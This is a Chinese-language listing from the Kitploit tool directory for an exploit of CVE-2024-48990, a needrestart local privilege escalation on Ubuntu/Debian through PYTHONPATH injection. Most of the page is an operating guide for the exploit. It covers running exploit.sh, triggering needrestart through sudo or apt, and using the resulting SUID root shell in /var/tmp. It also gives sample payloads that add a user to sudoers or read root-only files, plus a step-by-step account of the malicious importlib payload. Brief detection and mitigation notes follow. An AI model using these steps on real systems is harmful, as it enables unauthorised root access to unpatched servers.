Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-48990 — needrestart < 3.8 本地权限提升漏洞:通过 PYTHONPATH 注入 | Kitploit
工具/GitHubGitHub/blueberryp1ll/cve-2024-48990
权限提升漏洞分析漏洞利用渗透测试红队
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 本地权限提升漏洞:通过 PYTHONPATH 注入

查看仓库
116个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-48990 — needrestart 本地权限提升

通过 PYTHONPATH 注入,针对 Ubuntu/Debian 系统上 needrestart < 3.8 的本地权限提升利用。

概述

needrestart 是一个常用工具,安装在 Ubuntu/Debian 服务器上,用于检查哪些服务在库升级后需要重启。它以 root 身份运行,通常在 apt 操作后自动触发,或通过 sudo 直接调用。

在检查 Python 进程时,needrestart 会重新调用 Python 解释器,同时从 /proc/<pid>/environ 继承进程的完整环境——包括 PYTHONPATH。一个无特权的本地用户可以利用这一点:

  1. 将 PYTHONPATH 设置为包含恶意 importlib 包的目录
  2. 保持一个 Python 进程运行,以便 needrestart 在扫描时发现它
  3. 等待 needrestart 执行——它会以 root 身份加载攻击者的 importlib/__init__.py

受影响版本

包受影响已修复
needrestart< 3.8>= 3.8

已在以下版本上确认:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

使用方法

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

然后在另一个终端中触发 needrestart:

root@kitploit:~
# 如果你有对 needrestart 的直接 sudo 访问权限:
sudo /usr/sbin/needrestart

# 或者通过 apt 触发(needrestart 作为 post-apt 钩子运行):
sudo apt update && sudo apt install --reinstall coreutils

一旦 needrestart 触发,该利用会在 /var/tmp/.rootshell 创建一个 SUID shell,并自动将你带入 root shell。

如果自动执行不起作用,可以手动获取 shell:

root@kitploit:~
/var/tmp/.rootshell -p

选项

root@kitploit:~
Usage: ./exploit.sh [OPTIONS]

Options:
  -c <command>    自定义以 root 身份运行的 shell 命令(默认:复制 suid shell)
  -w <seconds>    最大等待时间(秒)(默认:300)
  -t              触发模式:尝试通过 apt 触发 needrestart
  -n              不清理:利用后保留载荷目录
  -h              显示此帮助信息

示例

root@kitploit:~
# 默认——在 /var/tmp/.rootshell 创建 SUID /bin/bash 副本
./exploit.sh

# 通过 apt 自动触发 needrestart(需要 sudo apt 访问权限)
./exploit.sh -t

# 自定义载荷:将当前用户添加到 sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'

# 自定义载荷:读取受限文件
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# 延长等待时间(10 分钟)
./exploit.sh -w 600

工作原理

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. 创建 /tmp/.nr_XXXX/importlib/__init__.py,包含载荷       │
│     该载荷运行 os.system() 以复制 /bin/bash 作为 SUID 二进制   │
├───────────────────────────────────────────────────────────────┤
│  2. 生成一个长时间运行的 Python 进程,其环境变量中导出        │
│     PYTHONPATH=/tmp/.nr_XXXX                                │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart 运行(通过 sudo 或 apt 钩子),扫描           │
│     /proc/*/environ,发现该 Python 进程                       │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart 以 ROOT 身份重新调用 python3,继承攻击者的    │
│     PYTHONPATH → 加载恶意 importlib                           │
├───────────────────────────────────────────────────────────────┤
│  5. 载荷以 root 身份执行:cp /bin/bash + chmod 4755          │
│     → 攻击者运行 /var/tmp/.rootshell -p → root shell         │
└───────────────────────────────────────────────────────────────┘

说明

  • SUID shell 放在 /var/tmp/ 而不是 /tmp/,因为 /tmp 通常挂载了 nosuid 选项,这会静默移除 SUID 位。
  • 恶意 importlib/__init__.py 在载荷执行后通过清理 sys.path 和 sys.modules 恢复真实的 importlib,使 needrestart 不会明显崩溃。
  • 诱饵 Python 进程运行一个实际的 .py 文件(而不是 -c 单行命令),以便更好地兼容 needrestart 的解释器扫描。

检测

表明该漏洞已被使用的迹象:

  • /var/tmp/ 或 /tmp/ 中出现意外的 SUID 二进制文件
  • Python 进程使用指向临时目录的异常 PYTHONPATH 值运行
  • 存在匹配 /tmp/.nr_* 且包含 importlib/ 子目录的目录

缓解措施

root@kitploit:~
# 将 needrestart 更新到已修复版本
sudo apt update && sudo apt install needrestart

# 或者完全禁用解释器扫描
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

参考资料

  • CVE-2024-48990
  • Qualys 公告 — needrestart LPE
  • Ubuntu 安全通知 USN-7117-1

免责声明

此工具仅供授权的安全测试和教育目的使用。请仅在你拥有或已获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。作者对误用不承担任何责任。

许可证

MIT

下载工具